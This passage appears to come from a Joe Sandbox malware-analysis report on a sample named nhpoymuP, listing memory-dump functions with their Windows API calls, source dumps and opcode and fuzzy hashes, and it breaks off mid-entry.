                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VirtualProtect.KERNELBASE(?,?,?,?), ref: 2740EF04
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2963702210.0000000027400000.00000040.00000800.00020000.00000000.sdmp, Offset: 27400000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27400000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ProtectVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 544645111-0
                                                                                                                                                                      • Opcode ID: e800c5fada21cbc503288310e22ee6f0c638e103982902c7f885225549e2074a
                                                                                                                                                                      • Instruction ID: c217d489def376bdae9e4787f0ecad15bb1f6cbcc3fd0eb914cd810bbd394b09
                                                                                                                                                                      • Opcode Fuzzy Hash: e800c5fada21cbc503288310e22ee6f0c638e103982902c7f885225549e2074a
                                                                                                                                                                      • Instruction Fuzzy Hash: C13197B5D01258AFCF14DFA9D980ADEFBF1BB49310F20942AE818B7210D735A945CF98
                                                                                                                                                                      Function 2BFADA58 Relevance: 1.6, APIs: 1, Instructions: 70windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DispatchMessageW.USER32(?), ref: 2BFADADB
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2976268913.000000002BFA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2BFA0000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_2bfa0000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DispatchMessage
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2061451462-0
                                                                                                                                                                      • Opcode ID: b0006004bb6a30adeb9f813b48f9f52c0507cc1cbcbd4c6cdf40397ea7b9836f
                                                                                                                                                                      • Instruction ID: 2b66dcc5b4b676e30385349655ceb83bafa0b08452247948544075a9435d61ba
                                                                                                                                                                      • Opcode Fuzzy Hash: b0006004bb6a30adeb9f813b48f9f52c0507cc1cbcbd4c6cdf40397ea7b9836f
                                                                                                                                                                      • Instruction Fuzzy Hash: 063189B9D042089FCB14CFA9D584ADEFBF1EB49324F14905AE818B7310D775A941CFA5
                                                                                                                                                                      Function 2BFADA60 Relevance: 1.6, APIs: 1, Instructions: 68windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DispatchMessageW.USER32(?), ref: 2BFADADB
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2976268913.000000002BFA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2BFA0000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_2bfa0000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DispatchMessage
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2061451462-0
                                                                                                                                                                      • Opcode ID: 44195990331ca8c2d97594ffaf152e972ed0f6df27a51f39dc4e6f0519fdb5cf
                                                                                                                                                                      • Instruction ID: db3292b2cd894b8ca33be8c6387550aaf6a22ab27707e95c5091d1c91128d8f8
                                                                                                                                                                      • Opcode Fuzzy Hash: 44195990331ca8c2d97594ffaf152e972ed0f6df27a51f39dc4e6f0519fdb5cf
                                                                                                                                                                      • Instruction Fuzzy Hash: EE219BB9D002089FCB14CFAAD580ADEFBF5AB49320F14905AE818B7310D775A941CFA5
                                                                                                                                                                      Function 2B6F7E0C Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LdrInitializeThunk.NTDLL(00000000), ref: 2B6F7F4E
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2975158833.000000002B6F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B6F0000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_2b6f0000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: InitializeThunk
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2994545307-0
                                                                                                                                                                      • Opcode ID: 0711a088bdc86ab3faf36860f4d788a8ab99d8a82f1e41847d19b72bbf921363
                                                                                                                                                                      • Instruction ID: f5173f61dac2bc0fc029bc8156ef9ee59a4faf2b760736573a133f1b1a6357c0
                                                                                                                                                                      • Opcode Fuzzy Hash: 0711a088bdc86ab3faf36860f4d788a8ab99d8a82f1e41847d19b72bbf921363
                                                                                                                                                                      • Instruction Fuzzy Hash: 27116DB4E011198FDB04DFA8D484EADBBB6BF88314F249565E909E7342DB30AD81CB20
                                                                                                                                                                      Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80
                                                                                                                                                                      • SysAllocString.OLEAUT32 ref: 00401898
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000001.1828156271.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000007.00000001.1828156271.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AllocString_malloc
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 959018026-0
                                                                                                                                                                      • Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
                                                                                                                                                                      • Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
                                                                                                                                                                      • Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
                                                                                                                                                                      • Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA
                                                                                                                                                                      Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040D549
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000001.1828156271.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000007.00000001.1828156271.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateHeap
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 10892065-0
                                                                                                                                                                      • Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
                                                                                                                                                                      • Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
                                                                                                                                                                      • Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
                                                                                                                                                                      • Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548
                                                                                                                                                                      Function 2740F130 Relevance: 1.3, APIs: 1, Instructions: 73COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CloseHandle.KERNELBASE(?), ref: 2740F1AE
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2963702210.0000000027400000.00000040.00000800.00020000.00000000.sdmp, Offset: 27400000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27400000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CloseHandle
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2962429428-0
                                                                                                                                                                      • Opcode ID: 3c9fdfc9b0eabb6678b0d023ce46a1d1d595d568f4c29976bdb2e1190f14bbd9
                                                                                                                                                                      • Instruction ID: 497108c3fda1884e93aa2a39cff50fb0badc2c01a1abf6b9f86b568520f8b470
                                                                                                                                                                      • Opcode Fuzzy Hash: 3c9fdfc9b0eabb6678b0d023ce46a1d1d595d568f4c29976bdb2e1190f14bbd9
                                                                                                                                                                      • Instruction Fuzzy Hash: 7C31AAB5D012589FCB14DFAAD981ADEFBF4AB49310F10942AE814B7310D735A941CF98
                                                                                                                                                                      Function 27A8E398 Relevance: .2, Instructions: 151COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: bfe65f5a0fa5798d54c6ddb0fdeceb1f6aa091d6903989543d842ace4d145375
                                                                                                                                                                      • Instruction ID: aa6442a0b3cf97230ad6a5c27c2c19f24f4100f4ae0cf60112e8b06f9ec5e3e2
                                                                                                                                                                      • Opcode Fuzzy Hash: bfe65f5a0fa5798d54c6ddb0fdeceb1f6aa091d6903989543d842ace4d145375
                                                                                                                                                                      • Instruction Fuzzy Hash: 5F511674E01318DFDB14DFA5C994A9EBBB2FF88314F208529D409AB394DB355986CF41
                                                                                                                                                                      Function 27A8C040 Relevance: .1, Instructions: 138COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 5bfa87632811bc3be4af89da59e19329813439ba416c50a6d36b54d708b02f6c
                                                                                                                                                                      • Instruction ID: 3a9e42312bb25301d6ee26f5a92b54834fc214fbeaa03837abd7b83f3e8c37d1
                                                                                                                                                                      • Opcode Fuzzy Hash: 5bfa87632811bc3be4af89da59e19329813439ba416c50a6d36b54d708b02f6c
                                                                                                                                                                      • Instruction Fuzzy Hash: F1518374E11218DFDB48CFA9D98499DBBF2FF89300F209169E419AB364DB31A945CF10
                                                                                                                                                                      Function 27A83400 Relevance: .1, Instructions: 137COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 6d62c7fa43e885351a80603385ebba173bec8ab95ac9ad060a746cc2a6f33950
                                                                                                                                                                      • Instruction ID: 44d60ec45a2a2c5e044c99856d64fb4a64975417e82cda589cb32549992c3d0f
                                                                                                                                                                      • Opcode Fuzzy Hash: 6d62c7fa43e885351a80603385ebba173bec8ab95ac9ad060a746cc2a6f33950
                                                                                                                                                                      • Instruction Fuzzy Hash: 0251B678E01208CFCB08DFA9D59499DBBF2FF89314F209169E815AB364DB35A942CF50
                                                                                                                                                                      Function 27A8F1A9 Relevance: .1, Instructions: 130COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 4960757d48ec6a57c7e330d7b8aa4365aaad996e9571aa9c9c5941fa15a93db0
                                                                                                                                                                      • Instruction ID: ebbc84daeac5330d56f3d6d3c7dfcef901b654f798ac786beeb9f23b5fe60813
                                                                                                                                                                      • Opcode Fuzzy Hash: 4960757d48ec6a57c7e330d7b8aa4365aaad996e9571aa9c9c5941fa15a93db0
                                                                                                                                                                      • Instruction Fuzzy Hash: BC51BF74D01229CFCB65DF64C984BDCBBB1BB89315F1055AAD408A7350DB39AA81CF40
                                                                                                                                                                      Function 27A89193 Relevance: .1, Instructions: 126COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 4dbe6eaf27015cfb26e81c28a19727f811ed3c5664658c00ade801860fdace08
                                                                                                                                                                      • Instruction ID: 3f2ddaafb5d91c850b5e2ab5355893c51352e6c9d630a2f33c3db063b53b899b
                                                                                                                                                                      • Opcode Fuzzy Hash: 4dbe6eaf27015cfb26e81c28a19727f811ed3c5664658c00ade801860fdace08
                                                                                                                                                                      • Instruction Fuzzy Hash: 6B418E31A04249DFCF05CFA5C848ADDBFB2FF89324F148159E925AB292D375EA54CB50
                                                                                                                                                                      Function 27A85E58 Relevance: .1, Instructions: 117COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 2a6c35978b4cdf57a74a71a0dd062d106c256b6eaedf828d52b24c597de9b273
                                                                                                                                                                      • Instruction ID: 776008bc4cc733b6c8cba466c916f697f239cac44862ada23638a996deec7a0f
                                                                                                                                                                      • Opcode Fuzzy Hash: 2a6c35978b4cdf57a74a71a0dd062d106c256b6eaedf828d52b24c597de9b273
                                                                                                                                                                      • Instruction Fuzzy Hash: C841C171A00258DFCB05CF24C804BAA7BF6FF85324F14846AEC299B242D778DD55CB91
                                                                                                                                                                      Function 27A844D0 Relevance: .1, Instructions: 101COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: e45961a4599ebe396c86ec7e2122cf79efe91de30f5a25d1b3828649ad202f1f
                                                                                                                                                                      • Instruction ID: e037deae6b0032497e85cf210a43ebfbef6308cbc9a05d3888ab99c9115d14a0
                                                                                                                                                                      • Opcode Fuzzy Hash: e45961a4599ebe396c86ec7e2122cf79efe91de30f5a25d1b3828649ad202f1f
                                                                                                                                                                      • Instruction Fuzzy Hash: 75319E3230024AAFCB099F64D444AAE3BA2FF89310F108419FD15C7385DB39ED65CB91
                                                                                                                                                                      Function 27A86E08 Relevance: .1, Instructions: 87COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: f3cd128f899f4ac69360a782a5226c5bfc0957d74e71242d2ce48f66f17f8442
                                                                                                                                                                      • Instruction ID: 55fea76d17f2bc4fb35eb6bedce8b836ee109c87b6d60cc57fe5c14779c26673
                                                                                                                                                                      • Opcode Fuzzy Hash: f3cd128f899f4ac69360a782a5226c5bfc0957d74e71242d2ce48f66f17f8442
                                                                                                                                                                      • Instruction Fuzzy Hash: 1121CF31300211CBF7046A3EC46463E369BBFC9625F18847AD925CB796EE6BCC829781
                                                                                                                                                                      Function 27A85178 Relevance: .1, Instructions: 74COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: f2bec6a93b1851d525c2eb50d6c67f00ac7449a74ee3d98bcea79320693d6816
                                                                                                                                                                      • Instruction ID: 57a41e7f1bc3d58c94fbcd22f2b83c24c598a290ca5cc8d5da2fc92abb524e62
                                                                                                                                                                      • Opcode Fuzzy Hash: f2bec6a93b1851d525c2eb50d6c67f00ac7449a74ee3d98bcea79320693d6816
                                                                                                                                                                      • Instruction Fuzzy Hash: 5921F335301621DFC709AA65C89492E73A3BFC6661B108069DD16DB340DF38EC028BC0
                                                                                                                                                                      Function 27A884F8 Relevance: .1, Instructions: 70COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 6f13556e393045b2ca23d789b90e00e70c17b248adec7e9bc4d66b7bc3508ac3
                                                                                                                                                                      • Instruction ID: a6d6fd5008141b6ff5358b586d2b0bc6a182fad6172734ddf41985e00c06e442
                                                                                                                                                                      • Opcode Fuzzy Hash: 6f13556e393045b2ca23d789b90e00e70c17b248adec7e9bc4d66b7bc3508ac3
                                                                                                                                                                      • Instruction Fuzzy Hash: 94218D70A1121EDBDB18CFA0C955BAEBBB5FF84310F104129E411A7388DF39A941CB90
                                                                                                                                                                      Function 27A844CA Relevance: .1, Instructions: 69COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: c8c30f09e13c0fdb6a1e2230b9ba0223ab7814251c5689487fd51c917d590149
                                                                                                                                                                      • Instruction ID: 4eabb22336c3e5593452a9858569fba85e71b86195d864e41fecb452d1a5f75e
                                                                                                                                                                      • Opcode Fuzzy Hash: c8c30f09e13c0fdb6a1e2230b9ba0223ab7814251c5689487fd51c917d590149
                                                                                                                                                                      • Instruction Fuzzy Hash: A7219D3260524AAFC7099F64D448AAE3BA6FF89721F108429FC15CB385DB38ED54CB91
                                                                                                                                                                      Function 27A834F4 Relevance: .1, Instructions: 68COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 52d3cadd1840ff5ef76cea873e973d89c794713b49af7162cc5976c741dd0722
                                                                                                                                                                      • Instruction ID: 4e40b1ee5bfdb139008fff443cd58da26be3d9ac337dc2e4e9436a0840c71061
                                                                                                                                                                      • Opcode Fuzzy Hash: 52d3cadd1840ff5ef76cea873e973d89c794713b49af7162cc5976c741dd0722
                                                                                                                                                                      • Instruction Fuzzy Hash: A731D478E11348CFCB08DFA8D59489DBBB2FF49705B204169E819AB364DB39AD42CF40
                                                                                                                                                                      Function 27A885F1 Relevance: .1, Instructions: 65COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: d0e5c2e5e1960b1601d2d2d2b8d1ae0e7cbe2a82beb809f441ba02cbd8cae914
                                                                                                                                                                      • Instruction ID: 6a36911edd8dfc13cc8486bcf09275c65253a6768263202425ec97c0b916294c
                                                                                                                                                                      • Opcode Fuzzy Hash: d0e5c2e5e1960b1601d2d2d2b8d1ae0e7cbe2a82beb809f441ba02cbd8cae914
                                                                                                                                                                      • Instruction Fuzzy Hash: 3D216D74E01249DFCB04CFB5C551AEEBBB6FF89315F148029E420E6255DB38A941DF50
                                                                                                                                                                      Function 27A884E8 Relevance: .1, Instructions: 62COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: cc898c495608a1a3be6f8307b57bc82e635f52c3ac01dc699961f64d4f38c3fd
                                                                                                                                                                      • Instruction ID: 69f17bcd3f9951fdf75aa3798e9dee516a264744cb4091926a196c61baf0811d
                                                                                                                                                                      • Opcode Fuzzy Hash: cc898c495608a1a3be6f8307b57bc82e635f52c3ac01dc699961f64d4f38c3fd
                                                                                                                                                                      • Instruction Fuzzy Hash: 8F210475F21219DBCB08DF71D852AAEBBB6FF85311F104529E412AB394EF34A841CB90
                                                                                                                                                                      Function 27A8E2A9 Relevance: .1, Instructions: 59COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: d5058fb3372364084310a362f9a3ca350a6245d618f7ba89e33e195063ccab59
                                                                                                                                                                      • Instruction ID: cf511c8290dc9454f21e47461619f9ec75cc9f8f2d52ac0f090e27624091591d
                                                                                                                                                                      • Opcode Fuzzy Hash: d5058fb3372364084310a362f9a3ca350a6245d618f7ba89e33e195063ccab59
                                                                                                                                                                      • Instruction Fuzzy Hash: 5C215870E00249DFCB45DFB9C99069EBFF2FB84300F1085A9D0599B365EB785A4ACB91
                                                                                                                                                                      Function 27A8E2B8 Relevance: .1, Instructions: 56COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: d97cb1441efadf2f39994b8e4949dc930ad273d2cbb61471226170e7fe09af2b
                                                                                                                                                                      • Instruction ID: 3be160da0adc9485a8b7e920a4a1cd374c5333d5f8e538fb5dd9236e4fe04fb8
                                                                                                                                                                      • Opcode Fuzzy Hash: d97cb1441efadf2f39994b8e4949dc930ad273d2cbb61471226170e7fe09af2b
                                                                                                                                                                      • Instruction Fuzzy Hash: B1212C70E00209DFDB04DFB9C59069EBBF2FB84300F109569D0159B355EF746A45CB91
                                                                                                                                                                      Function 27A8D3F1 Relevance: .0, Instructions: 45COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 96a5ff4e54bf22da9d07f1c155cb98b4f286db493cd4df139363b290ef724813
                                                                                                                                                                      • Instruction ID: 8b026a62b2e25644a35555df6715bd1c777eaa43e365a07ccd112fa0214cd7c2
                                                                                                                                                                      • Opcode Fuzzy Hash: 96a5ff4e54bf22da9d07f1c155cb98b4f286db493cd4df139363b290ef724813
                                                                                                                                                                      • Instruction Fuzzy Hash: 23111778D0024AEFCB01DFA9C8559AEBBF1FF89310F1040A9E914A7350DB795A52CF92
                                                                                                                                                                      Function 27A855B0 Relevance: .0, Instructions: 22COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 6e0f8b0f8a8c1be58b6642e73bac7b3bb8c6457ffb0d88d24946c3d63f92841f
                                                                                                                                                                      • Instruction ID: a782ce74977aee7f1fa70460daf061d5f08de7a40714493b94f69d764b1a308e
                                                                                                                                                                      • Opcode Fuzzy Hash: 6e0f8b0f8a8c1be58b6642e73bac7b3bb8c6457ffb0d88d24946c3d63f92841f
                                                                                                                                                                      • Instruction Fuzzy Hash: 29E0C23505A38D5FC307E735C9229D1BBBBFE422007608995E5444B76BFB7D588A8392
                                                                                                                                                                      Function 27A8C1DB Relevance: .0, Instructions: 16COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
